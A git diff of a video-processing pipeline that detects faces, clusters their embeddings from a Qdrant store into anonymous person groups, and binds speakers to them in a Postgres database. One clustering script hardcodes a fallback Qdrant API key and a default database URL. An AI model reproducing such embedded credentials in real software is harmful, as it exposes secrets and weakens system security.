auto_bind_speakers() + + publisher.complete("face_cluster", f"{len(clusters)} clusters") if __name__ == "__main__": - main() + main() \ No newline at end of file diff --git a/scripts/face_processor.py b/scripts/face_processor.py index 161236a..09b2a6c 100644 --- a/scripts/face_processor.py +++ b/scripts/face_processor.py @@ -35,7 +35,8 @@ from redis_publisher import RedisPublisher from qdrant_faces import push_face_embeddings_batch SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) -SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_face_pose") +SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_face") +SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_face") FACENET_PATH = os.path.join(SCRIPT_DIR, "..", "models", "facenet512.mlpackage") # Pose angle classification from roll/yaw @@ -113,33 +114,33 @@ class FaceProcessorVision: return None def process_with_swift(self) -> Dict: - """Step 1: Run swift_face_pose to get bbox + pose (generates face.json + pose.json)""" - print(f"[FACE_V2] Step 1: Vision detection (face + pose)...") + """Step 1: Run swift_face to get bbox (generates face_detect.json only) + + Note: swift_face only does face detection. + Pose and appearance expansion happen later via separate processors: + - swift_pose_expansion reads face_traced.json (with trace_id) + - swift_appearance_expansion reads pose.json + """ + print(f"[FACE_V2] Step 1: Vision detection (face only)...") - # Build swift_face_pose if needed - if not os.path.exists(SWIFT_BIN): + # Build swift_face if needed + if not os.path.exists(SWIFT_BIN) and not os.path.exists(SWIFT_BIN_DEBUG): build_dir = os.path.join(SCRIPT_DIR, "swift_processors") - print(f"[FACE_V2] Building swift_face_pose in {build_dir}...") + print(f"[FACE_V2] Building swift_face in {build_dir}...") subprocess.run( - ["swift", "build", "-c", "debug", "--product", "swift_face_pose"], + ["swift", "build", "-c", "release", "--product", "swift_face"], cwd=build_dir, check=True ) + # Determine which binary to use + swift_bin = SWIFT_BIN if os.path.exists(SWIFT_BIN) else SWIFT_BIN_DEBUG + swift_face_out = self.output_path.replace(".json", "_detect.json") - # Pose output: same directory, but replace "face" with "pose" in filename - output_dir = os.path.dirname(self.output_path) - output_basename = os.path.basename(self.output_path) - pose_basename = output_basename.replace("face", "pose") - swift_pose_out = os.path.join(output_dir, pose_basename) - # Appearance output: same directory, but replace "face" with "appearance" in filename - appearance_basename = output_basename.replace("face", "appearance") - swift_appearance_out = os.path.join(output_dir, appearance_basename) + cmd = [ - SWIFT_BIN, + swift_bin, self.video_path, swift_face_out, - swift_pose_out, - swift_appearance_out, "--sample-interval", str(self.sample_interval), ] if self.uuid: @@ -169,10 +170,10 @@ class FaceProcessorVision: pass log_f.close() if proc.returncode != 0: - stderr_out = proc.stderr.read() + stderr_out = proc.stderr.read() if proc.stderr else "" if stderr_out: print(stderr_out.strip(), file=sys.stderr) - raise RuntimeError(f"swift_face_pose exited with code {proc.returncode}") + raise RuntimeError(f"swift_face exited with code {proc.returncode}") elapsed = time.time() - t0 print(f"[FACE_V2] Detection done in {elapsed:.1f}s") @@ -180,10 +181,6 @@ class FaceProcessorVision: with open(swift_face_out) as f: face_data = json.load(f) - # Also check if pose.json was generated (for reference) - if os.path.exists(swift_pose_out): - print(f"[FACE_V2] Pose file generated: {swift_pose_out}") - return face_data def embed_and_save(self, detection_data: Dict): @@ -215,7 +212,7 @@ class FaceProcessorVision: for frame_info in frames: frame_num = frame_info["frame"] faces = [] - for face in frame_info.get("faces", []): + for face_idx, face in enumerate(frame_info.get("faces", [])): bb = face["bbox"] x, y, w, h = bb["x"], bb["y"], bb["width"], bb["height"] @@ -242,9 +239,10 @@ class FaceProcessorVision: if emb is not None: embed_count += 1 # Collect for batch Qdrant push + # Use face_idx to distinguish multiple faces in same frame all_embeddings.append({ "frame": frame_num, - "trace_id": 0, # Initial, updated by face_tracker + "trace_id": face_idx, # Use face_idx as unique identifier within frame "bbox": {"x": x, "y": y, "width": w, "height": h}, "confidence": face.get("confidence", 0.5), "embedding": emb, @@ -345,6 +343,7 @@ def main(): parser.add_argument("--uuid", "-u", default="") parser.add_argument("--sample-interval", type=int, default=3) parser.add_argument("--force", action="store_true") + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) args = parser.parse_args() publisher = RedisPublisher(args.uuid) if args.uuid else None diff --git a/scripts/fast_face_clustering_processor_v2.py b/scripts/fast_face_clustering_processor_v2.py new file mode 100644 index 0000000..ebd5c19 --- /dev/null +++ b/scripts/fast_face_clustering_processor_v2.py @@ -0,0 +1,278 @@ +#!/opt/homebrew/bin/python3.11 +""" +Face Clustering Processor V2 - Cluster by trace_id +Strategy: +1. Group faces by trace_id +2. Compute average embedding per trace +3. Cluster traces (not individual faces) +4. Assign person_id to all faces in each trace +""" + +import json +import numpy as np +import os +import sys +from collections import defaultdict +from sklearn.cluster import AgglomerativeClustering + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +UUID = os.getenv("UUID", "quick_preview") +OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output") +FACE_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face.json") +if not os.path.exists(FACE_JSON_PATH): + FACE_JSON_PATH = os.path.join(OUTPUT_DIR, UUID, f"{UUID}.face.json") +OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json") +ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json") + + +def get_embeddings_from_qdrant(file_uuid): + """Get all face embeddings from Qdrant grouped by trace_id""" + import requests + + qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333") + qdrant_api_key = os.environ.get("QDRANT_API_KEY", "") + + headers = {} + if qdrant_api_key: + headers["api-key"] = qdrant_api_key + + # Scroll through all points + all_points = [] + offset = None + + while True: + payload = { + "filter": { + "must": [ + {"key": "file_uuid", "match": {"value": file_uuid}} + ] + }, + "limit": 1000, + "with_vector": True + } + if offset: + payload["offset"] = offset + + response = requests.post( + f"{qdrant_url}/collections/_faces/points/scroll", + json=payload, + headers=headers + ) + + if response.status_code != 200: + print(f"Qdrant error: {response.status_code}") + break + + result = response.json().get("result", {}) + points = result.get("points", []) + + if not points: + break + + all_points.extend(points) + offset = result.get("next_page_offset") + + if not offset: + break + + if len(all_points) % 5000 == 0: + print(f" Loaded {len(all_points)} points...") + + print(f"[QDRANT] Loaded {len(all_points)} face embeddings") + return all_points + + +def cluster_by_trace(points, min_faces_per_trace=2, confidence_threshold=0.5): + """ + Cluster faces by trace_id: + 1. Filter low-confidence faces + 2. Group by trace_id + 3. Compute weighted average embedding per trace + 4. Cluster traces + """ + # Filter by confidence + high_conf_points = [ + p for p in points + if p.get("payload", {}).get("confidence", 0) >= confidence_threshold + ] + print(f"[FILTER] {len(high_conf_points)}/{len(points)} faces pass confidence >= {confidence_threshold}") + + # Group by trace_id + traces = defaultdict(list) + for point in high_conf_points: + payload = point.get("payload", {}) + trace_id = payload.get("trace_id") + if trace_id is not None and trace_id >= 0: + traces[trace_id].append(point) + + print(f"[TRACE] Found {len(traces)} unique traces") + + # Compute average embedding per trace + trace_embeddings = {} + for trace_id, trace_points in traces.items(): + if len(trace_points) < min_faces_per_trace: + continue + + # Weighted average by confidence + embeddings = [] + weights = [] + for p in trace_points: + embeddings.append(p["vector"]) + weights.append(p.get("payload", {}).get("confidence", 1.0)) + + embeddings = np.array(embeddings) + weights = np.array(weights) + weights = weights / weights.sum() + + avg_embedding = np.average(embeddings, axis=0, weights=weights) + trace_embeddings[trace_id] = { + "embedding": avg_embedding, + "face_count": len(trace_points), + "avg_confidence": float(np.mean(weights)), + "frames": [p.get("payload", {}).get("frame") for p in trace_points] + } + + print(f"[TRACE] {len(trace_embeddings)} traces with >= {min_faces_per_trace} faces") + + return trace_embeddings, traces + + +def main(): + if not os.path.exists(FACE_JSON_PATH): + print(f"❌ Face JSON not found: {FACE_JSON_PATH}") + return + + # Load face.json for frame structure + with open(FACE_JSON_PATH) as f: + face_data = json.load(f) + + frames_list = face_data.get("frames", []) + if not frames_list: + print("❌ No frames in JSON") + return + + # Get embeddings from Qdrant + print(f"[FACE_CLUSTER_V2] Loading embeddings for {UUID}...") + points = get_embeddings_from_qdrant(UUID) + + if not points: + print("❌ No embeddings found") + return + + # Cluster by trace_id + trace_embeddings, traces = cluster_by_trace( + points, + min_faces_per_trace=1, # Minimum 1 face per trace + confidence_threshold=0.5 + ) + + if not trace_embeddings: + print("❌ No valid traces found") + return + + # Prepare embeddings for clustering + trace_ids = list(trace_embeddings.keys()) + embeddings = np.array([trace_embeddings[tid]["embedding"] for tid in trace_ids]) + + # Cluster traces + print(f"[CLUSTER] Clustering {len(trace_ids)} traces...") + + # Use Agglomerative with cosine distance + # Distance threshold 0.35 for tighter clustering + clustering = AgglomerativeClustering( + n_clusters=None, + distance_threshold=0.35, # Tighter threshold for traces + metric="cosine", + linkage="average" + ) + labels = clustering.fit_predict(embeddings) + + # Map trace_id -> person_id + unique_labels = set(labels) + label_to_person = {l: f"Person_{i}" for i, l in enumerate(unique_labels)} + + print(f"[CLUSTER] Detected {len(unique_labels)} unique persons") + + # Create trace -> person mapping + trace_to_person = {} + for i, trace_id in enumerate(trace_ids): + trace_to_person[trace_id] = label_to_person[labels[i]] + + # Build frame-level output + output_frames = [] + fps_value = face_data.get("fps", 23.98) + + for frame_idx, frame_obj in enumerate(frames_list): + frame_num = frame_obj.get("frame", frame_idx) + timestamp = frame_obj.get("timestamp", frame_num / fps_value if fps_value > 0 else 0) + faces = frame_obj.get("faces", []) + + output_faces = [] + for face_idx, face in enumerate(faces): + # Find matching point from Qdrant + face_x = face.get("x", 0) + face_y = face.get("y", 0) + + # Find trace_id for this face + matched_trace_id = None + for p in points: + payload = p.get("payload", {}) + if payload.get("frame") == frame_num: + bbox = payload.get("bbox", {}) + if abs(bbox.get("x", 0) - face_x) < 50 and abs(bbox.get("y", 0) - face_y) < 50: + matched_trace_id = payload.get("trace_id") + break + + if matched_trace_id is not None and matched_trace_id in trace_to_person: + person_id = trace_to_person[matched_trace_id] + output_faces.append({ + "face_id": f"face_{frame_idx}_{face_idx}", + "cluster_id": person_id, + "confidence": face.get("confidence", 0.9), + "trace_id": matched_trace_id + }) + + if output_faces: + output_frames.append({ + "frame": frame_num, + "timestamp": timestamp, + "faces": output_faces + }) + + # Build cluster summary + clusters = [] + for label in unique_labels: + person_id = label_to_person[label] + trace_count = sum(1 for l in labels if l == label) + face_count = sum( + trace_embeddings[trace_ids[i]]["face_count"] + for i, l in enumerate(labels) if l == label + ) + clusters.append({ + "cluster_id": person_id, + "trace_count": trace_count, + "face_count": face_count, + "representative_face": None + }) + + # Save output + output_data = { + "clusters": clusters, + "frames": output_frames + } + + with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f: + json.dump(output_data, f, indent=2, ensure_ascii=False) + + print(f"[OUTPUT] Saved to {OUTPUT_JSON_PATH}") + print(f" - {len(clusters)} persons") + print(f" - {len(output_frames)} frames") + + # Print cluster distribution + for c in sorted(clusters, key=lambda x: x["face_count"], reverse=True)[:5]: + print(f" - {c['cluster_id']}: {c['trace_count']} traces, {c['face_count']} faces") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/fast_face_clustering_processor_v3_backup.py b/scripts/fast_face_clustering_processor_v3_backup.py new file mode 100644 index 0000000..e3f5983 --- /dev/null +++ b/scripts/fast_face_clustering_processor_v3_backup.py @@ -0,0 +1,563 @@ +#!/opt/homebrew/bin/python3.11 +""" +Face Clustering Processor — Multi-stage trace-based deduplication + +Flow: + 1. Load all face embeddings from Qdrant _faces collection + 2. Aggregate by trace_id -> mean embedding + frame range per trace + 3. Stage 1: AgglomerativeClustering on trace means (strict threshold 0.35) + 4. Stage 2: Merge compatible clusters (temporal overlap guard, threshold_dist 0.25) + 5. Assign person_id back to individual faces via trace_id + 6. Output face_cluster.json with auto speaker binding + +Output format (unchanged): + {"status", "file_uuid", "clusters": [{cluster_id, face_count, representative_face}], "frames": [{frame, timestamp, faces: [{face_id, cluster_id, confidence}]}]} +""" + +import json +import numpy as np +import os +import sys +import argparse +import psycopg2 +from collections import defaultdict +from sklearn.cluster import AgglomerativeClustering + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from redis_publisher import RedisPublisher + +UUID = os.getenv("UUID", "quick_preview") +OUTPUT_DIR = os.getenv("MOMENTRY_OUTPUT_DIR", "./output") +OUTPUT_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.face_clustered.json") +ASRX_JSON_PATH = os.path.join(OUTPUT_DIR, f"{UUID}.asrx.json") +DB_URL = os.getenv("DATABASE_URL", "postgresql://accusys@localhost:5432/momentry") + +STAGE1_THRESHOLD = 0.35 + + +def write_empty_output(status: str, file_uuid: str, output_path: str): + output_data = { + "status": status, + "file_uuid": file_uuid, + "clusters": [], + "frames": [] + } + with open(output_path, "w", encoding="utf-8") as f: + json.dump(output_data, f, indent=2, ensure_ascii=False) + print(f"Wrote empty output ({status}) to {output_path}") + + +def load_qdrant_faces(uuid: str, publisher: RedisPublisher) -> list: + """Load all face points (payload + vector) from Qdrant _faces for a file.""" + publisher.progress("face_cluster", 0, 100, "Loading embeddings from Qdrant") + try: + import requests + qdrant_url = os.environ.get("QDRANT_URL", "http://localhost:6333") + qdrant_api_key = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200") + headers = {} + if qdrant_api_key: + headers["api-key"] = qdrant_api_key + + all_points = [] + offset = None + while True: + body = { + "limit": 10000, + "with_payload": True, + "with_vector": True, + "filter": { + "must": [ + {"key": "file_uuid", "match": {"value": uuid}} + ] + } + } + if offset: + body["offset"] = offset + + resp = requests.post( + f"{qdrant_url}/collections/_faces/points/scroll", + json=body, + headers=headers, + timeout=60 + ) + if resp.status_code != 200: + print(f"Qdrant scroll error: {resp.status_code}") + break + + data = resp.json() + batch = data.get("result", {}).get("points", []) + all_points.extend(batch) + next_offset = data.get("result", {}).get("next_page_offset") + if not next_offset: + break + offset = next_offset + + print(f"Loaded {len(all_points)} points from Qdrant _faces") + return all_points + except Exception as e: + print(f"Failed to load embeddings from Qdrant: {e}") + return [] + + +def aggregate_by_trace(points: list) -> dict: + """Group Qdrant points by trace_id. + + Returns: + {trace_id: {'embeddings': ndarray, 'count': int, 'frame_min': int, 'frame_max': int}} + """ + traces = defaultdict(lambda: {"embeddings": [], "frame_min": float("inf"), "frame_max": -1, "face_refs": []}) + + for point in points: + payload = point.get("payload", {}) + vector = point.get("vector") + if vector is None: + continue + + trace_id = payload.get("trace_id", -1) + frame = payload.get("frame", 0) + + t = traces[trace_id] + t["embeddings"].append(vector) + if frame < t["frame_min"]: + t["frame_min"] = frame + if frame > t["frame_max"]: + t["frame_max"] = frame + + result = {} + for trace_id, t in traces.items(): + emb = np.array(t["embeddings"]) + result[trace_id] = { + "embeddings": emb, + "count": len(emb), + "frame_min": t["frame_min"], + "frame_max": t["frame_max"], + } + + print(f" Aggregated {len(points)} faces into {len(result)} traces") + single_count = sum(1 for t in result.values() if t["count"] == 1) + print(f" Single-face traces: {single_count} ({single_count/len(result)*100:.0f}% of {len(result)})") + return result + + +def compute_trace_means(traces: dict) -> dict: + """Normalize each trace's embeddings and compute mean vector. + + Returns: + {trace_id: {'mean': ndarray(512,), 'frame_min': int, 'frame_max': int}} + """ + trace_data = {} + for trace_id, t in traces.items(): + emb = t["embeddings"] + norms = np.linalg.norm(emb, axis=1, keepdims=True) + norms[norms == 0] = 1 + emb_norm = emb / norms + mean_vec = np.mean(emb_norm, axis=0) + mean_vec = mean_vec / np.linalg.norm(mean_vec) + + trace_data[trace_id] = { + "mean": mean_vec, + "count": t["count"], + "frame_min": t["frame_min"], + "frame_max": t["frame_max"], + } + return trace_data + + +def trace_level_clustering(trace_data: dict) -> dict: + """Two-stage clustering on trace-level mean embeddings. + + Stage 1: Strict AgglomerativeClustering (cosine, threshold=STAGE1_THRESHOLD) + Stage 2: Merge clusters whose centroids are within STAGE2_MERGE_DIST + and whose frame ranges do NOT overlap (temporal guard). + + Returns: + {trace_id: person_label (int)} + """ + trace_ids = sorted(trace_data.keys()) + n_traces = len(trace_ids) + if n_traces == 0: + return {} + if n_traces == 1: + return {trace_ids[0]: 0} + + means = np.array([trace_data[t]["mean"] for t in trace_ids]) + frames = [(trace_data[t]["frame_min"], trace_data[t]["frame_max"]) for t in trace_ids] + + # Stage 1: strict AgglomerativeClustering on trace means + print(f" Stage 1: clustering {n_traces} traces (threshold={STAGE1_THRESHOLD})...") + clustering = AgglomerativeClustering( + n_clusters=None, distance_threshold=STAGE1_THRESHOLD, + metric="cosine", linkage="average" + ) + stage1_labels = clustering.fit_predict(means) + + n_stage1 = len(set(stage1_labels)) + print(f" Stage 1 result: {n_stage1} clusters") + + if n_stage1 <= 1: + # Nothing to merge + return {t: l for t, l in zip(trace_ids, stage1_labels)} + + # Compute trace info per Stage 1 cluster + cluster_info = defaultdict(lambda: {"trace_ids": [], "means": [], "frame_min": float("inf"), "frame_max": -1}) + for t, label in zip(trace_ids, stage1_labels): + ci = cluster_info[label] + ci["trace_ids"].append(t) + ci["means"].append(trace_data[t]["mean"]) + if trace_data[t]["frame_min"] < ci["frame_min"]: + ci["frame_min"] = trace_data[t]["frame_min"] + if trace_data[t]["frame_max"] > ci["frame_max"]: + ci["frame_max"] = trace_data[t]["frame_max"] + + cluster_labels = sorted(cluster_info.keys()) + n_clusters = len(cluster_labels) + + # Stage 2: trace-pair voting merge + # For each pair of clusters, count cross-trace high-similarity pairs. + # If enough traces match AND frame ranges don't overlap -> merge. + MATCH_SIM = 0.70 + MATCH_RATIO = 0.30 + + merge_map = {cl: cl for cl in cluster_labels} + merged = set() + + # Pre-compute normalized trace means for efficient dot-product + trace_mean_arr = np.array([trace_data[t]["mean"] for t in trace_ids]) + trace_index = {t: i for i, t in enumerate(trace_ids)} + + for i, cl_a in enumerate(cluster_labels): + if cl_a in merged: + continue + ci_a = cluster_info[cl_a] + ids_a = ci_a["trace_ids"] + for j, cl_b in enumerate(cluster_labels): + if j <= i: + continue + if cl_b in merged: + continue + ci_b = cluster_info[cl_b] + ids_b = ci_b["trace_ids"] + + # Compute pairwise similarity between traces in A and B + idx_a = [trace_index[t] for t in ids_a] + idx_b = [trace_index[t] for t in ids_b] + sim_block = trace_mean_arr[idx_a] @ trace_mean_arr[idx_b].T # |A| x |B| + + high_sim_pairs = np.sum(sim_block > MATCH_SIM) + min_size = min(len(ids_a), len(ids_b)) + match_rate = high_sim_pairs / min_size if min_size > 0 else 0 + + if match_rate < MATCH_RATIO: + continue + + # Temporal overlap check + r_a = (ci_a["frame_min"], ci_a["frame_max"]) + r_b = (ci_b["frame_min"], ci_b["frame_max"]) + overlap = max(0, min(r_a[1], r_b[1]) - max(r_a[0], r_b[0])) + if overlap > 0: + continue + + merge_map[cl_b] = cl_a + merged.add(cl_b) + # Merge cluster info (for subsequent pair checks) + ci_a["trace_ids"].extend(ci_b["trace_ids"]) + ci_a["means"].extend(ci_b["means"]) + ci_a["frame_min"] = min(ci_a["frame_min"], ci_b["frame_min"]) + ci_a["frame_max"] = max(ci_a["frame_max"], ci_b["frame_max"]) + + n_merged = n_clusters - len(merged) + print(f" Stage 2: merged {len(merged)} clusters -> {n_merged} final clusters") + + # Build final label mapping: trace_id -> final cluster label + # Re-map to sequential Person_0..Person_N + final_cluster_ids = {} + next_label = 0 + for cl in cluster_labels: + root = merge_map[cl] + if root not in final_cluster_ids: + final_cluster_ids[root] = next_label + next_label += 1 + + trace_to_person = {} + for t, label in zip(trace_ids, stage1_labels): + root = merge_map[label] + trace_to_person[t] = final_cluster_ids[root] + + return trace_to_person + + +def main(): + global OUTPUT_JSON_PATH, UUID + + parser = argparse.ArgumentParser(description="Face Clustering Processor") + parser.add_argument("video_path", help="Path to video file") + parser.add_argument("output_path", help="Path to output JSON file") + parser.add_argument("--uuid", help="Video UUID (optional, overrides env var)") + parser.add_argument("--force", action="store_true", help="Overwrite existing output") + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) + args = parser.parse_args() + + OUTPUT_JSON_PATH = args.output_path + output_dir = os.path.dirname(args.output_path) + if args.uuid: + uuid = args.uuid + else: + uuid = os.path.basename(args.video_path).rsplit(".", 1)[0] + UUID = uuid + + face_json_path = os.path.join(output_dir, f"{uuid}.face.json") + if not os.path.exists(face_json_path): + face_json_path = os.path.join(output_dir, uuid, f"{uuid}.face.json") + + publisher = RedisPublisher(uuid) + publisher.info("face_cluster", "Face clustering started") + + if not os.path.exists(face_json_path): + print("Face JSON not found.") + write_empty_output("no_face_json", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No face.json found") + return + + with open(face_json_path) as f: + face_data = json.load(f) + + frames_list = face_data.get("frames", []) + if not frames_list: + print("No frames in JSON (no faces).") + write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No faces to cluster") + return + + fps_value = face_data.get("fps", 23.98) + + # Step 1: Load all Qdrant _faces points + points = load_qdrant_faces(uuid, publisher) + if not points: + print("No embeddings found in Qdrant.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No embeddings in Qdrant") + return + + publisher.progress("face_cluster", 10, 100, f"Loaded {len(points)} Qdrant points") + + # Step 2: Aggregate by trace_id + traces = aggregate_by_trace(points) + if not traces: + print("No valid traces found.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "No valid traces") + return + + publisher.progress("face_cluster", 20, 100, f"Aggregated {len(traces)} traces") + + # Step 3: Compute trace-level mean embeddings + trace_data = compute_trace_means(traces) + publisher.progress("face_cluster", 30, 100, "Computing trace means") + + # Step 4: Two-stage trace-level clustering + trace_to_person = trace_level_clustering(trace_data) + if not trace_to_person: + print("Clustering produced no results.") + write_empty_output("no_embeddings", uuid, OUTPUT_JSON_PATH) + publisher.complete("face_cluster", "Clustering empty") + return + + n_persons = len(set(trace_to_person.values())) + print(f"Clustering result: {n_persons} persons ({len(trace_to_person)} traces)") + + # Step 5: Build trace_id -> face detection mapping from Qdrant payload + # For each face.json frame+face, find matching Qdrant point via trace_id + # Build a map: trace_id -> list of (frame_idx, face_idx) references + trace_to_face_refs = defaultdict(list) + qdrant_by_frame_trace = {} + for point in points: + payload = point.get("payload", {}) + frame = payload.get("frame") + trace_id = payload.get("trace_id", -1) + bbox = payload.get("bbox", {}) + if frame is not None and trace_id >= 0: + cx = bbox.get("x", 0) + bbox.get("width", 0) // 2 + cy = bbox.get("y", 0) + bbox.get("height", 0) // 2 + key = (frame, cx, cy) + qdrant_by_frame_trace[key] = trace_id + + # Match face.json frames to trace_ids using (frame, bbox_center) + matched_count = 0 + for frame_idx, frame_obj in enumerate(frames_list): + frame_num = frame_obj.get("frame", frame_idx) + for face_idx, face in enumerate(frame_obj.get("faces", [])): + x = face.get("x", 0) + y = face.get("y", 0) + w = face.get("width", 0) + h = face.get("height", 0) + cx = x + w // 2 + cy = y + h // 2 + key = (frame_num, cx, cy) + + trace_id = qdrant_by_frame_trace.get(key) + if trace_id is None: + # Approximate match (within 50px) + for (qf, qx, qy), tid in qdrant_by_frame_trace.items(): + if qf == frame_num and abs(qx - cx) < 50 and abs(qy - cy) < 50: + trace_id = tid + break + + if trace_id is not None and trace_id in trace_to_person: + person_label = trace_to_person[trace_id] + face["person_id"] = f"Person_{person_label}" + matched_count += 1 + + print(f" Assigned person_id to {matched_count} faces") + if matched_count == 0: + print("No faces matched to any trace - check Qdrant data integrity") + publisher.progress("face_cluster", 100, 100, "No trace matches") + write_empty_output("no_faces", uuid, OUTPUT_JSON_PATH) + return + + # Step 6: Build clusters list (same format as before) + # Count faces per person_label + person_face_count = defaultdict(int) + person_best_face = {} + for frame_idx, frame_obj in enumerate(frames_list): + for face_idx, face in enumerate(frame_obj.get("faces", [])): + person_id = face.get("person_id") + if not person_id: + continue + person_face_count[person_id] += 1 + confidence = face.get("confidence", 0.9) + if person_id not in person_best_face or confidence > person_best_face[person_id]["confidence"]: + person_best_face[person_id] = { + "face_id": f"face_{frame_idx}_{face_idx}", + "confidence": confidence, + "frame": frame_obj.get("frame", frame_idx), + "bbox": {"x": face.get("x"), "y": face.get("y"), "width": face.get("width"), "height": face.get("height")} + } + + person_labels_sorted = sorted(person_face_count.keys(), key=lambda p: -person_face_count[p]) + clusters = [] + for person_id in person_labels_sorted: + cluster_entry = { + "cluster_id": person_id, + "face_count": person_face_count[person_id], + "representative_face": person_best_face.get(person_id) + } + clusters.append(cluster_entry) + + # Build output frames (same format) + output_frames = [] + for frame_idx, frame_obj in enumerate(frames_list): + timestamp = frame_obj.get("timestamp", + frame_obj.get("frame", 0) / fps_value if fps_value > 0 else 0) + output_faces = [] + for face_idx, face in enumerate(frame_obj.get("faces", [])): + person_id = face.get("person_id") + if person_id: + output_faces.append({ + "face_id": f"face_{frame_idx}_{face_idx}", + "cluster_id": person_id, + "confidence": face.get("confidence", 0.9), + }) + if output_faces: + output_frames.append({ + "frame": frame_obj.get("frame", frame_idx), + "timestamp": timestamp, + "faces": output_faces, + }) + + # Save output + output_data = { + "status": "has_faces", + "file_uuid": UUID, + "clusters": clusters, + "frames": output_frames, + } + with open(OUTPUT_JSON_PATH, "w", encoding="utf-8") as f: + json.dump(output_data, f, indent=2, ensure_ascii=False) + print(f"Saved clustered data to {OUTPUT_JSON_PATH}") + publisher.complete("face_cluster", f"{len(clusters)} clusters") + + # Step 7: Auto-bind speakers + auto_bind_speakers() + + +def auto_bind_speakers(): + if not os.path.exists(OUTPUT_JSON_PATH) or not os.path.exists(ASRX_JSON_PATH): + print("Missing data for speaker binding.") + return + + with open(OUTPUT_JSON_PATH) as f: + face_clustered = json.load(f) + with open(ASRX_JSON_PATH) as f: + asrx_data = json.load(f) + + print("Auto-binding Speakers to Persons...") + + face_spans = [] + for frame_obj in face_clustered.get("frames", []): + ts = frame_obj.get("timestamp") + for face in frame_obj.get("faces", []): + person_id = face.get("cluster_id") + if person_id and ts is not None: + face_spans.append({"ts": ts, "person_id": person_id}) + + speaker_person_counts = {} + + for seg in asrx_data.get("segments", []): + start = seg.get("start") + end = seg.get("end") + speaker = seg.get("speaker_id") + if not speaker or start is None or end is None: + continue + candidates = [f for f in face_spans if f.get("ts") is not None and start <= f["ts"] <= end] + if candidates: + person_counts = {} + for c in candidates: + pid = c["person_id"] + person_counts[pid] = person_counts.get(pid, 0) + 1 + if speaker not in speaker_person_counts: + speaker_person_counts[speaker] = {} + best_person = max(person_counts, key=person_counts.get) + speaker_person_counts[speaker][best_person] = ( + speaker_person_counts[speaker].get(best_person, 0) + 1 + ) + + try: + conn = psycopg2.connect(DB_URL) + cur = conn.cursor() + for speaker, persons in speaker_person_counts.items(): + if not persons: + continue + best_person = max(persons, key=persons.get) + print(f" {speaker} is likely {best_person} ({persons[best_person]} votes)") + + cur.execute("SELECT id FROM talents WHERE real_name = %s", (best_person,)) + row = cur.fetchone() + if row: + talent_id = row[0] + else: + cur.execute( + "INSERT INTO talents (real_name) VALUES (%s) RETURNING id", + (best_person,), + ) + talent_id = cur.fetchone()[0] + print(f" Created Talent #{talent_id} ({best_person})") + + cur.execute( + """ + INSERT INTO identity_bindings (talent_id, binding_type, binding_value, source, confidence) + VALUES (%s, 'speaker', %s, 'auto_cluster', 0.8) + ON CONFLICT (binding_type, binding_value) DO UPDATE SET talent_id = EXCLUDED.talent_id + """, + (talent_id, speaker), + ) + print(f" Bound {speaker} -> {best_person}") + + conn.commit() + cur.close() + conn.close() + except Exception as e: + print(f" DB Error: {e}") + + +if __name__ == "__main__": + main() diff --git a/scripts/filter_pose_by_face.py b/scripts/filter_pose_by_face.py new file mode 100644 index 0000000..933e44d --- /dev/null +++ b/scripts/filter_pose_by_face.py @@ -0,0 +1,128 @@ +#!/opt/homebrew/bin/python3.11 +""" +Filter pose.json - remove poses that don't match any face. + +Usage: python3 filter_pose_by_face.py --uuid --threshold +""" + +import json +import argparse +import os + +def filter_pose_by_face(face_path, pose_path, output_path, threshold=100.0): + with open(face_path) as f: + face_data = json.load(f) + with open(pose_path) as f: + pose_data = json.load(f) + + # Build frame -> faces lookup + face_by_frame = {} + for fr in face_data.get('frames', []): + fn = fr.get('frame') + if fn is not None: + face_by_frame[fn] = fr.get('faces', []) + + filtered_frames = [] + total_poses = 0 + filtered_poses = 0 + matched_poses = 0 + + for fr in pose_data.get('frames', []): + fn = fr.get('frame') + persons = fr.get('persons', []) + faces = face_by_frame.get(fn, []) + + if not faces or not persons: + # No faces or no persons - keep frame only if it has persons + if persons: + filtered_frames.append(fr) + total_poses += len(persons) + filtered_poses += len(persons) + continue + + filtered_persons = [] + for person in persons: + total_poses += 1 + bbox = person.get('bbox', {}) + # Find nose keypoint + nose_kp = None + for kp in person.get('keypoints', []): + if 'nose' in kp.get('name', '').lower(): + nose_kp = kp + break + + if nose_kp is None: + # No nose keypoint - discard + filtered_poses += 1 + continue + + nose_x = nose_kp['x'] + nose_y = nose_kp['y'] + + # Check distance to any face center + matched = False + for face in faces: + fcx = face['x'] + face['width'] / 2 + fcy = face['y'] + face['height'] / 2 + dist = abs(fcx - nose_x) + abs(fcy - nose_y) + if dist < threshold: + matched = True + break + + if matched: + matched_poses += 1 + filtered_persons.append(person) + else: + filtered_poses += 1 + + if filtered_persons: + filtered_frames.append({ + 'frame': fn, + 'timestamp': fr.get('timestamp'), + 'persons': filtered_persons + }) + + # Build output + output = { + 'frame_count': pose_data.get('frame_count', 0), + 'fps': pose_data.get('fps', 0), + 'frames': filtered_frames, + 'filter_stats': { + 'total_poses': total_poses, + 'filtered_poses': filtered_poses, + 'matched_poses': matched_poses, + 'threshold': threshold + } + } + + 